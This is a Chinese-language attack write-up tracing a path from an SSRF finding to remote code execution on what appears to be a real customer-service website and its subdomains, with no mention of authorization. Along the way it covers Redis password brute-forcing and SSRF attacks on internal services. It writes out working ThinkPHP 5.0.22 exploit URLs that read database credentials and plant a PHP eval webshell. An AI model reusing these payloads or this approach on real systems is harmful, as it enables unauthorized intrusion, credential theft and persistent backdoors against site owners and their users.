# 從 SSRF 到 RCE 全紀錄
## 起因
意外翻到了某個客服網站有個疑似被惡意塞入的 ssrf 漏洞,抱持著嘗試找到新的洞的心態深入挖掘下去
## Recon
對於新的一個網站,首先先用工具做滲透測試,主要使用工具為`AWVS`、`ARL`、各類型的子域名爆破工具、針對路徑做 fuzz 的工具,並掃描該 ip 所開啟的 protocol 有哪些可以利用。
將用子域名爆破工具掃出來的網站一一丟進`AWVS`、`ARL`掃描,其中比較關鍵的是找到一個 `SSRF`頁面,參數是`url`,看起來就是故意留的,先嘗試利用看看可以做到什麼樣的程度。
### `ssrf.php`
有路徑可使用首先先試試 LFI,因為其攻擊最為簡單
#### LFI

空空的,看來並不屬於 LFI,那就不能攻擊 session 達到 RCE。
#### SSRF
嘗試各種 protocol。
##### file protocol

有回顯,那就看看`ssrf.php`內容是什麼,看來就只能做到`SSRF`,確定沒辦法 LFI,不過有 SSRF 就可以用 gopher 嘗試攻擊其他服務。

#### 攻擊其他服務
##### FTP
本身就開在外網,無須特別用 gopher,但其 FTP 未開啟 `anonymouse` 帳號,暫時沒有利用點。
##### SSH
本身就開在外網,無須特別用 gopher,但沒有帳密也不用打了,只有爆破使用者的洞可以用,暫時用不到。
##### MySQL
開在內網,但可以利用 gopher 做攻擊,常用套路為用匿名帳號進或是 root 使用預設密碼,但嘗試後都失敗了,但有發現一個提權的漏洞,之後若有一般使用者就可以試試看。
##### Redis
SSRF 常用攻擊套路,先用 dict protocol 試試看有沒有這服務。

有這服務但是卻需要密碼,那可以先嘗試弱密碼爆破,很幸運的爆一小段時間就成功拿到密碼了,接下來就嘗試 gopher + redis 的常用套路攻擊看看。

1. 寫 webshell
* 寫不進去 `/upload/files/` 的路徑裡
2. 寫 /root/.ssh/authorized_keys
* 寫不進去 `/root/.ssh/` 的路徑裡
Redis 本身資料確定是有寫進去的,推測是 Redis 權限不足以寫進網頁與`root`所在路徑。
##### php-fpm
服務根本沒開,沒辦法用 gopher 打了。
##### memcached
在 `/etc/passwd` 有看到 `memcached` 這個 user,嘗試用 gopher 打 phpmemcache 沒反應。
**到這裡 SSRF 常用套路都用過了,只好再繼續挖掘其他漏洞**
### `AWVS` + path fuzz
掃出的無用子網域有點多,因此我只針對同 ip 的做掃描,並針對各頁面做詳細的人工分析。
#### Domain 1
* Laravel debug mode
* `/public/_ignition/execute-solution`
* CVE-2021-3129
* ignition ^1.16.4 < 2.5.2
* `/composer.json`
* Laravel ^6.20.12 < 8.4.3
* payload 試了好幾個都沒辦法打,只有成功清空 laravel.log 的功能
#### Domain 2
* ThinkPHP v6.0.9
* 太新了,沒找到洞
* debug 沒關
#### Domain 3
找到 db 資訊相關路徑
* `/data/config.php`
* ThinkPHP 5.0.11
* 有 RCE 漏洞可以使用,但利用失敗
#### Domain 4
* LFI
* 
* 用 Session Upload Progress 大法 (LFI to RCE)
* 這個 LFI 只能讀不能執行
* 
* php code 寫進去了但沒執行
* ThinkPHP 5.0.22 有洞可以嘗試
* get database username
* `wximage.php?s=index/think\config/get&name=database.username`
* get database password
* `wximage.php?s=index/think\config/get&name=database.password`
* get phpinfo
* `wximage.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1`
* 看到有關掉敏感函數,但卻沒看到 `eval` 和 `file_put_content`
* write webshell
* `wximage.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=webshell.php&vars[1][1]='<?php%20eval($_POST['exec']);%20?>'`
* **!!! GETSHELL !!!**
#### Domain N
很多 db 相關資訊都沒鎖權限,常用路徑猜一猜就能看到帳密,如果 ThinkPHP 攻擊失敗可以就要嘗試剛剛所說的 MySQL 提權攻擊
* Ex:
* `/data/config.php`
## 結論
在其中一個頁面找到 ThinkPHP 漏洞,成功上傳 Webshell
### 心得
#### 前期 SSRF
前期很快就找到 `ssrf.php`,一直在嘗試 redis、php-fpm 這類的攻擊,但一直成功不了,反覆修改 payload 都無果,一直到進後台才發現問題是權限不足。
#### 中期 Recon
放棄使用 SSRF 的攻擊,繼續 Recon,使用 AWVS、ARL 等工具開始對目標網站與其子網站做掃描,其中最有價值的漏洞是 `CVE-2021-3129`,但是經過反覆嘗試卻一直成功不了,這個 `CVE` 曾經也是發現條件符合但是用不了,可能還有一些問題需要研究。接下來就翻遍各式敏感檔案,雖然有拿到一些 MySQL 的帳號,但權限都不高。
#### 後期 GetShell
在人工測試的時候,有看到許多頁面直接跳出版本號,例如: `ThinkPHP 6.0.9`,查下去發現,`ThinkPHP` 常見的洞都是在 5 版,接下來猜測說其他子網域可能也會有 `ThinkPHP`。
最後果真被我連到一個 `ThinkPHP 5.0.22`,但是利用需要知道攻擊的路徑,回去翻 AWVS 發現了一個能用的路徑,接下來就嘗試進行攻擊,最初 `system` 怎麼都執行不了,查看他的 `phpinfo` 才知道,他擋掉了許多敏感函數,但是很明顯沒有檔 `eval` 和 `file_put_contents`,所以我就利用 `file_put_contents` 寫入 `eval`,就能利用該檔案得到 webshell 了。